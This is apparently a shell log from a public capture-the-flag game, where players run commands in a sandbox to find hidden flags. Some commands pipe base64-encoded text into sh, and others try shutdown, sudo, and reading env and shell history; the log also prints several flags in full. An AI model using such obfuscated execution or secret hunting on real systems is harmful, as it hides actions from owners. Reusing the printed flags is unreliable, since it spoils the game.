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 ... (output truncated)$ echo bHMgL3J1bi9iaW4gfCBiYXNlNjQK | base64 -d | sh
Wwphd2sKYjJzdW0KYmFzZTMyCmJhc2U2NApiYXNlbmFtZQpiYXNlbmMKYmFzaApiYXNoYnVnCmNh dApjaGNvbgpjaGdycApjaG1vZApjaG93bgpjaHJvb3QKY2tzdW0KY21wCmNvbW0KY29yZXV0aWxz CmNwCmNzcGxpdApjdXQKZGF0ZQpkZApkZgpkaWZmCmRpZmYzCmRpcgpkaXJjb2xvcnMKZGlybmFt ZQpkdQplY2hvCmVncmVwCmVudgpleApleHBhbmQKZXhwcgpmYWN0b3IKZmFsc2UKZmdyZXAKZmls ZQpmaW5kCmZtdApmb2xkCmdhd2sKZ2l0CmdpdC1jcmVkZW50aWFsLW5ldHJjCmdpdC1jdnNzZXJ2 ZXIKZ2l0LWh0dHAtYmFja2VuZApnaXQtanVtcApnaXQtcmVjZWl2ZS1wYWNrCmdpdC1zaGVsbApn aXQtdXBsb2FkLWFyY2hpdmUKZ2l0LXVwbG9hZC1wYWNrCmdyZXAKZ3JvdXBzCmd1bnppcApnemV4 ZQpnemlwCmhlYWQKaG9zdGlkCmlkCmluc3RhbGwKam9pbgpraWxsCmxlc3MKbGVzc2VjaG8KbGVz c2tleQpsaW5rCmxuCmxvZ25hbWUKbHMKbWQ1c3VtCm1rZGlyCm1rZmlmbwpta25vZApta3RlbXAK bXYKbmljZQpubApub2h1cApucHJvYwpudW1mbXQKb2QKcGFzdGUKcGF0aGNoawpwZGZhdHRhY2gK cGRmZGV0YWNoCnBkZmZvbnRzCnBkZmltYWdlcwpwZGZpbmZvCnBkZnNlcGFyYXRlCnBkZnNpZwpw ZGZ0b2NhaXJvCnBkZnRvaHRtbApwZGZ0b3BwbQpwZGZ0b3BzCnBkZnRvdGV4dApwZGZ1bml0ZQpw aW5reQpwcgpwcmludGVudgpwcmludGYKcHR4CnB3ZApyZWFkbGluawpyZWFscGF0aApybQpybWRp cgpydW5jb24KcnZpZXcKcnZpbQpzY2FsYXIKc2RpZmYKc2VkCnNlcQpzaApzaGExc3VtCnNoYTIy NHN1bQpzaGEyNTZzdW0Kc2hhMzg0c3VtCnNoYTUxMnN1bQpzaHJlZApzaHVmCnNsZWVwCnNvcnQK c3BsaXQKc3RhdApzdGRidWYKc3R0eQpzdW0Kc3luYwp0YWMKdGFpbAp0ZWUKdGVzdAp0aW1lb3V0 CnRvdWNoCnRyCnRydWUKdHJ1bmNhdGUKdHNvcnQKdHR5CnVuYW1lCnVuY29tcHJlc3MKdW5leHBh bmQKdW5pcQp1bmxpbmsKdXB0aW1lCnVzZXJzCnZkaXIKdmkKdmlldwp2aW0KdmltZGlmZgp2aW10 dXRvcgp3Ywp3aGljaAp3aG8Kd2hvYW1pCnhhcmdzCnh4ZAp5ZXMKemNhdAp6Y21wCnpkaWZmCnpl Z3JlcAp6ZmdyZXAKemZvcmNlCnpncmVwCnpsZXNzCnptb3JlCnpuZXcK$ cat readme.txt
Congratulations, you figured out how to get here! *party sounds* Welcome to the 2nd Stacker News __ ___ ____/ /_/ _/ / __/ __/ _/ \__/\__/_/ challenge !!! There are FOUR flags in this home directory. They are in this format: s3Cur1tY_c7f{[A-Za-z0-9-_]+} Every flag pays 10,000 sats! . . If you don't know what any of this means: don't worry, you're playing Capture The Flag correctly! --- PS: Please don't hack me! hahahaFYI: commands only work when you reply to the root item
$ grep -RahoE '[A-Za-z0-9+/]{16,}={0,2}' ~/prog/stacker.news --exclude-dir=.git --include='.js' --include='.json' --include='.txt' --include='.md' 2>/dev/null | while read -r s; do printf '%s' "$s" | base64 -d 2>/dev/null; done | grep -aoE 's3Cur1tY_c7f{[^}]+}' | sort -u
(timed out after 5s)$ git -C ~/prog/stacker.news log --all --format='%B' | grep -aiE 'flag|s3Cur1tY'
(command exited with error: exit status 1)$ du -ah "$HOME"/**/s3Cur1tY_c7f{*}
du: cannot access '/home/ctfbot/**/s3Cur1tY_c7f{*}': No such file or directory$ find . -type f -iname "*.jpg"
./prog/stacker.news/public/wallets/lifpay-dark.jpg ./prog/stacker.news/public/dorian400.jpg$ ls -lah ~/Pictures;grep -RnaE 's3Cur1tY_c7f|flag|secret' ~/prog/stacker.news --exclude-dir=.git 2>/dev/null;
total 16K drwxrwxr-x+ 2 1000 100 4.0K Aug 29 00:42 . drwxrwxr-x+ 6 65534 65534 4.0K Aug 29 18:09 .. /home/ctfbot/prog/stacker.news/wallets/server/wrap.js:99: case 14: // payment secret /home/ctfbot/prog/stacker.news/wallets/server/resolvers/protocol.js:180: // Only upserts that persist a vault-encrypted secret depend on the current vault key. /home/ctfbot/prog/stacker.news/wallets/server/protocols/lndGrpc.js:67: preimage: invoice.secret, /home/ctfbot/prog/stacker.news/wallets/server/persist.js:8:// `config` JSON mirror over Vault-encrypted secrets). The GraphQL resolvers in /home/ctfbot/prog/stacker.news/wallets/server/persist.js:37:// True when the config persists a vault-encrypted secret — the case that needs /home/ctfbot/prog/stacker.news/wallets/server/persist.js:210:// rotation committed meanwhile, so we never persist a send secret under a stale /home/ctfbot/prog/stacker.news/wallets/lib/protocols/lnc.js:23: 'Grab the `pairing_secret_mnemonic` from the output and paste it here.' /home/ctfbot/prog/stacker.news/wallets/lib/protocols/clink.js:40: name: 'secretKey', /home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/lnc.md:22:Grab the `pairing_secret_mnemonic` from the output and that's your pairing phrase. /home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/lnc.md:27:$ sndev cli litd sessions add --type account --label sndev --account_id $(sndev cli litd accounts create --balance 100000 | jq -r '.account.id') | jq -r '.session.pairing_secret_mnemonic' /home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/spark.md:39:`SPARK_SERVICE_MNEMONIC` secret in both the web and worker environments; treat /home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/spark.md:40:it as a required production deployment secret. The web process uses it for /home/ctfbot/prog/stacker.news/wallets/lib/protocols/nwc.js:62: 'It must NOT allow spending (`pay_invoice`, `pay_keysend`, `multi_pay_invoice`, `multi_pay_keysend`): this secret is stored on our server, so attach a receive-only connection.' /home/ctfbot/prog/stacker.news/wallets/lib/protocols/nwc.js:100: const { walletPubkey, secret, relayUrls } = parseNwcUrl(url) /home/ctfbot/prog/stacker.news/wallets/lib/protocols/nwc.js:104: secret /home/ctfbot/prog/stacker.news/wallets/lib/validate.js:30: let relayUrls, walletPubkey, secret /home/ctfbot/prog/stacker.news/wallets/lib/validate.js:32: ({ relayUrls, walletPubkey, secret } = parseNwcUrl(url)) /home/ctfbot/prog/stacker.news/wallets/lib/validate.js:44: string().required('secret required').trim().matches(/^[0-9a-fA-F]{64}$/, 'secret must be 64 hex chars').validateSync(secret) /home/ctfbot/prog/stacker.news/wallets/lib/validate.js:67: secret: url.searchParams.get('secret'), /home/ctfbot/prog/stacker.news/wallets/client/components/form/hooks/draft.js:41:// A fieldless protocol (WebLN) has no inputs, so its `enabled` flag *is* its /home/ctfbot/prog/stacker.news/wallets/client/components/form/hooks/draft.js:58:// A content hash of a draft — its config plus enabled flag. Two drafts with the /home/ctfbot/prog/stacker.news/wallets/client/components/form/hooks/draft.js:59:// same config and enabled flag hash equal regardless of origin — this is how /home/ctfbot/prog/stacker.news/wallets/client/components/onboarding.js:179: <p>Your recovery secret is being generated and encrypted on this device.</p> /home/ctfbot/prog/stacker.news/wallets/client/protocols/clink.js:20:export async function sendPayment (bolt11, { ndebit, secretKey }, { signal, timeout = WALLET_SEND_PAYMENT_TIMEOUT_MS } = {}) { /home/ctfbot/prog/stacker.news/wallets/client/protocols/clink.js:31: SendNdebitRequest(pool, Buffer.from(secretKey, 'hex'), [relay], pubkey, request, Math.ceil(timeout / 1000)), /home/ctfbot/prog/stacker.news/wallets/client/protocols/clink.js:64: // For budgets to work, we need to encrypt and sign the debit request events with the same secret ... (output truncated)$ for f in ~/Downloads/snz/*.pdf; do pdfinfo "$f" 2>/dev/null | grep -E '^(Title|Subject|Keywords)' | grep -aoE 's3Cur1tY_c7f{[A-Za-z0-9_-]+}'; done | sort -u
s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_}$ shutdown -r now
/run/bin/sh: line 1: shutdown: command not found$ echo bHMgLWxydFIgfCBiYXNlNjQgLXcgMAo= | base64 -d | sh
LjoKdG90YWwgMzYKZHJ3eHJ3eHIteCsgMiAgMTAwMCAgIDEwMCA0MDk2IEF1ZyAyOSAwMDo0MiBQaWN0dXJlcwpkcnd4cnd4ci14KyAzICAxMDAwICAgMTAwIDQwOTYgQXVnIDI5IDAwOjQ1IERvd25sb2Fkcwpkcnd4cnd4ci14KyAzICAxMDAwICAgMTAwIDQwOTYgQXVnIDI5IDAwOjQ3IERvY3VtZW50cwpkcnd4cnd4ci14KyAzICAxMDAwICAgMTAwIDQwOTYgQXVnIDI5IDAwOjQ3IHByb2cKLXJ3LXJ3eHItLSsgMSA2NTUzNCA2NTUzNCAgNDc3IEF1ZyAyOSAxODowOSByZWFkbWUudHh0CgouL1BpY3R1cmVzOgp0b3RhbCAwCgouL0Rvd25sb2FkczoKdG90YWwgOApkcnd4cnd4ci14KyAyIDEwMDAgMTAwIDQwOTYgQXVnIDI5IDE3OjExIHNuegoKLi9Eb3dubG9hZHMvc256Ogp0b3RhbCA5MjQzNjgKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyMzQ4MTAxMSBBdWcgMjkgMDA6NDUgaXNzdWUwMHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyMDE5MzI1OCBBdWcgMjkgMDA6NDUgaXNzdWUxMHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMjM4Mzc2NSBBdWcgMjkgMDA6NDUgaXNzdWUxMXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyNTQwMjIxOCBBdWcgMjkgMDA6NDUgaXNzdWUxMndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyMzg5MTE5MiBBdWcgMjkgMDA6NDUgaXNzdWUxM3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNTgzNjU4MCBBdWcgMjkgMDA6NDUgaXNzdWUxNHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDk2MzE5NiBBdWcgMjkgMDA6NDUgaXNzdWUxNndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDUzOTQ5MyBBdWcgMjkgMDA6NDUgaXNzdWUxN3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgOTUxMzQ0MiBBdWcgMjkgMDA6NDUgaXNzdWUxOHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNTAyNTIzMyBBdWcgMjkgMDA6NDUgaXNzdWUwMXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNTkxNjU1NiBBdWcgMjkgMDA6NDUgaXNzdWUyMHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMjQ5MDcxNyBBdWcgMjkgMDA6NDUgaXNzdWUyMXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNjg3MDI5MCBBdWcgMjkgMDA6NDUgaXNzdWUyMndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgODk5Nzc1MiBBdWcgMjkgMDA6NDUgaXNzdWUyM3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyMTM3MzE0MSBBdWcgMjkgMDA6NDUgaXNzdWUyNHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxOTcyNDcyNCBBdWcgMjkgMDA6NDUgaXNzdWUyNXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDIwOTk5NyBBdWcgMjkgMDA6NDUgaXNzdWUyN3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxOTY5Nzg2NyBBdWcgMjkgMDA6NDUgaXNzdWUyOHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMjI2Mzg3MiBBdWcgMjkgMDA6NDUgaXNzdWUyOXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMDM0MjYwMCBBdWcgMjkgMDA6NDUgaXNzdWUwMndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgNjg5MDI5MSBBdWcgMjkgMDA6NDUgaXNzdWUzMHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMDYxMDMxOCBBdWcgMjkgMDA6NDUgaXNzdWUzMXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyMTcxMjExMiBBdWcgMjkgMDA6NDUgaXNzdWUzMndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNzIzOTk0MSBBdWcgMjkgMDA6NDUgaXNzdWUzM3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNjIyMzQ3MSBBdWcgMjkgMDA6NDUgaXNzdWUzNHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNzg3NzE5OCBBdWcgMjkgMDA6NDUgaXNzdWUzNXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyMjIxNzc3NSBBdWcgMjkgMDA6NDUgaXNzdWUzNndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDU3OTYyMiBBdWcgMjkgMDA6NDUgaXNzdWUzN3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDYwNTkwMSBBdWcgMjkgMDA6NDUgaXNzdWUzOHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAyNTY4MDgwNyBBdWcgMjkgMDA6NDUgaXNzdWUwM3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMzEyNjAxOCBBdWcgMjkgMDA6NDUgaXNzdWU0MHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMTgzNTY0OSBBdWcgMjkgMDA6NDUgaXNzdWU0MXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgNzI3MDY0NCBBdWcgMjkgMDA6NDUgaXNzdWU0MndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNzQ1NDUwNyBBdWcgMjkgMDA6NDUgaXNzdWU0M3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDkzMjI4NiBBdWcgMjkgMDA6NDUgaXNzdWU0NHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDk4NTI5MiBBdWcgMjkgMDA6NDUgaXNzdWU0NXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgOTE2NzU1MCBBdWcgMjkgMDA6NDUgaXNzdWU0NndlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMDMwNjE3NyBBdWcgMjkgMDA6NDUgaXNzdWU0N3dlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxNDQ2NzEzNCBBdWcgMjkgMDA6NDUgaXNzdWU0OHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgMjc0NzY0OSBBdWcgMjkgMDA6NDUgaXNzdWU0OXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAxMTI0NTM3OSBBdWcgMjkgMDA6NDUgaXNzdWUwNHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgODk5NjE1MCBBdWcgMjkgMDA6NDUgaXNzdWU1MHdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAgNjc4NjkwNCBBdWcgMjkgMDA6NDUgaXNzdWU1MXdlYi5wZGYKLXJ3LXJ3eHItLSsgMSAxMDAwIDEwMCAx ... (output truncated)$ grep -rna "s3Cur1tY_c7f"
readme.txt:18: s3Cur1tY_c7f{[A-Za-z0-9-_]+} Downloads/snz/issue64web.pdf:30142: <pdf:Keywords>s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_}</pdf:Keywords> Downloads/snz/issue64web.pdf:30194:/Keywords (s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_}) Documents/lost+found/.tmp.gWzvb34utO:1:s3Cur1tY_c7f{w45_7h47_57111_700_345y_}Confirming you found the flag before #1557820
$ mkdir -p ~/pdfimgs && pdfimages -all ~/Downloads/snz/issue64web.pdf ~/pdfimgs/i && find ~/pdfimgs -type f -exec strings {} + | grep -aoE 's3Cur1tY_c7f{[A-Za-z0-9_-]+}' | sort -u
mkdir: cannot create directory '/home/ctfbot/pdfimgs': Read-only file system$ pdfimages -list ~/Downloads/snz/issue64web.pdf
page num type width height color comp bpc enc interp object ID x-ppi y-ppi size ratio -------------------------------------------------------------------------------------------- 1 0 image 648 810 icc 3 8 jpeg no 25 0 138 138 309K 20% 1 1 image 600 464 icc 3 8 image no 26 0 136 137 20.1K 2.5% 1 2 smask 600 464 gray 1 8 image no 26 0 136 137 10.9K 4.0% 1 3 image 600 464 icc 3 8 image no 26 0 144 144 20.1K 2.5% 1 4 smask 600 464 gray 1 8 image no 26 0 144 144 10.9K 4.0% 1 5 image 648 809 icc 3 8 jpeg no 27 0 139 139 340K 22% 1 6 image 648 809 icc 3 8 jpeg no 27 0 160 160 340K 22% 2 7 image 736 920 icc 3 8 image no 33 0 109 109 262K 13% 2 8 image 736 920 icc 3 8 image no 378 0 109 109 254K 13% 2 9 image 442 449 icc 3 8 image no 37 0 132 132 76.8K 13% 2 10 image 442 449 icc 3 8 image no 37 0 132 132 76.8K 13% 2 11 image 442 449 icc 3 8 image no 37 0 132 132 76.8K 13% 2 12 image 820 555 icc 3 8 image no 389 0 240 239 22.6K 1.7% 2 13 smask 820 555 gray 1 8 image no 389 0 240 239 18.1K 4.1% 3 14 image 705 255 icc 3 8 image no 44 0 135 135 23.9K 4.5% 3 15 image 705 255 icc 3 8 image no 45 0 135 135 39.0K 7.4% 3 16 image 820 220 icc 3 8 image no 402 0 518 520 9.92K 1.9% 3 17 smask 820 220 gray 1 8 image no 402 0 518 520 8017B 4.4% 3 18 image 820 120 icc 3 8 image no 405 0 518 520 11.2K 3.9% 3 19 smask 820 120 gray 1 8 image no 405 0 518 520 8397B 8.5% 4 20 image 480 322 icc 3 8 image no 57 0 118 118 114K 25% 4 21 image 820 220 icc 3 8 image no 421 0 518 520 9.92K 1.9% 4 22 smask 820 220 gray 1 8 image no 421 0 518 520 8017B 4.4% 4 23 image 547 137 icc 3 8 image no 61 0 109 109 61.2K 28% 4 24 smask 547 137 gray 1 8 image no 61 0 109 109 17.4K 24% 4 25 image 442 776 icc 3 8 jpeg no 62 0 133 133 12.0K 1.2% 5 26 image 520 742 icc 3 8 image no 71 0 87 87 711K 63% 5 27 image 756 943 icc 3 8 image no 72 0 113 112 248K 12% 5 28 image 756 943 icc 3 8 image no 72 0 113 112 248K 12% 5 29 image 402 432 icc 3 8 image no 73 0 134 134 366K 72% 5 30 image 453 504 icc 3 8 image no 441 0 127 126 349K 52% 6 31 image 492 346 icc 3 8 image no 104 0 85 85 108K 22% 6 32 image 820 220 icc 3 8 image no 481 0 518 520 9.92K 1.9% 6 33 smask 820 220 gray 1 8 image no 481 0 518 520 8017B 4.4% 7 34 image 442 552 icc 3 8 image no 498 0 123 123 252K 35% 7 35 image 820 99 icc 3 8 image no 501 0 284 286 8616B 3.5% 7 36 smask 820 99 gray 1 8 image no 501 0 284 286 4633B 5.7% 7 37 image 512 286 icc 3 8 image no 119 0 134 134 136K 32% 7 38 image 512 288 icc 3 8 image no 120 0 140 140 99.9K 23% 8 39 image 820 220 icc 3 8 image no 523 0 571 572 9.92K 1.9% 8 40 smask 820 220 gray 1 8 image no 523 0 571 572 8017B 4.4% ... (output truncated)$ pdfdetach -list ~/Downloads/snz/issue64web.pdf
0 embedded files$ env; ps aux; cat ~/.bash_history
PWD=/home/ctfbot HOME=/home/ctfbot TERM=xterm SHLVL=1 PATH=/run/bin _=/run/bin/env /run/bin/sh: line 1: ps: command not found cat: /home/ctfbot/.bash_history: No such file or directory$ pdftotext -layout ~/Downloads/snz/issue64web.pdf - | grep -aoE 's3Cur1tY_c7f{[A-Za-z0-9_-]+}'
(command exited with error: exit status 1)$ cat .flag.txt
NO FLAG HERE!!! HAHAHA Did you think it would be that easy?? But I see you got some skills ... Maybe you will need them again?Hahahhaha
$ grep -RaoE '[A-Za-z0-9+/]{20,}={0,2}' ~ 2>/dev/null | while read x; do echo "$x" | base64 -d 2>/dev/null; done | grep -aE 's3Cur1tY_c7f{'
(timed out after 5s)$ git -C ~/prog/stacker.news log -p -S's3Cur1tY_c7f' --all
commit 621f4f96e0d708303f97bd667f56e988dd248882 Author: k00b <k00b@stacker.news> Date: Thu Aug 27 14:30:54 2026 -0500 revert: fix: sassOptions to not include BOM post postcss upgrade diff --git a/flag.txt b/flag.txt deleted file mode 100644 index 890a350..0000000 --- a/flag.txt +++ /dev/null @@ -1 +0,0 @@ -s3Cur1tY_c7f{y0u_mu57_83_r3411y_900d_0r_4_d3v} commit cff3651d5e0be03ac5b9d301bab85822ee822934 Author: k00b <k00b@stacker.news> Date: Thu Aug 27 14:30:54 2026 -0500 fix: sassOptions to not include BOM post postcss upgrade diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..890a350 --- /dev/null +++ b/flag.txt @@ -0,0 +1 @@ +s3Cur1tY_c7f{y0u_mu57_83_r3411y_900d_0r_4_d3v}$ grep -r "czNDdXIxWV9jN2" ./prog
(command exited with error: exit status 1)$ ls -laR ~/Documents/lost+found
/home/ctfbot/Documents/lost+found: total 20 drwxrwxr-x+ 2 1000 100 4096 Aug 29 17:06 . drwxrwxr-x+ 3 1000 100 4096 Aug 29 00:47 .. -rw-rw-r--+ 1 1000 100 39 Aug 29 17:06 .tmp.gWzvb34utO$ sudo env | grep "s3Cur1tY_c7f"
/run/bin/sh: line 1: sudo: command not found$ grep -RohE 's3Cur1tY_c7f{[A-Za-z0-9_-]+}' ~ 2>/dev/null
s3Cur1tY_c7f{w45_7h47_57111_700_345y_}$ ping 1.1.1.1
/run/bin/sh: line 1: ping: command not found$ du .
924376 ./Downloads/snz 924384 ./Downloads 8 ./Pictures 12 ./Documents/lost+found 200 ./Documents 36 ./prog/stacker.news/wallets/server/resolvers 60 ./prog/stacker.news/wallets/server/protocols 172 ./prog/stacker.news/wallets/server 44 ./prog/stacker.news/wallets/lib/protocols/docs/dev 24 ./prog/stacker.news/wallets/lib/protocols/docs/user 76 ./prog/stacker.news/wallets/lib/protocols/docs 148 ./prog/stacker.news/wallets/lib/protocols 216 ./prog/stacker.news/wallets/lib 88 ./prog/stacker.news/wallets/client/hooks 24 ./prog/stacker.news/wallets/client/balance 84 ./prog/stacker.news/wallets/client/components/home 28 ./prog/stacker.news/wallets/client/components/balance 88 ./prog/stacker.news/wallets/client/components/send 52 ./prog/stacker.news/wallets/client/components/form/hooks 116 ./prog/stacker.news/wallets/client/components/form 432 ./prog/stacker.news/wallets/client/components 80 ./prog/stacker.news/wallets/client/protocols 24 ./prog/stacker.news/wallets/client/fragments 668 ./prog/stacker.news/wallets/client 1088 ./prog/stacker.news/wallets 12 ./prog/stacker.news/copilot/synapse-generate 12 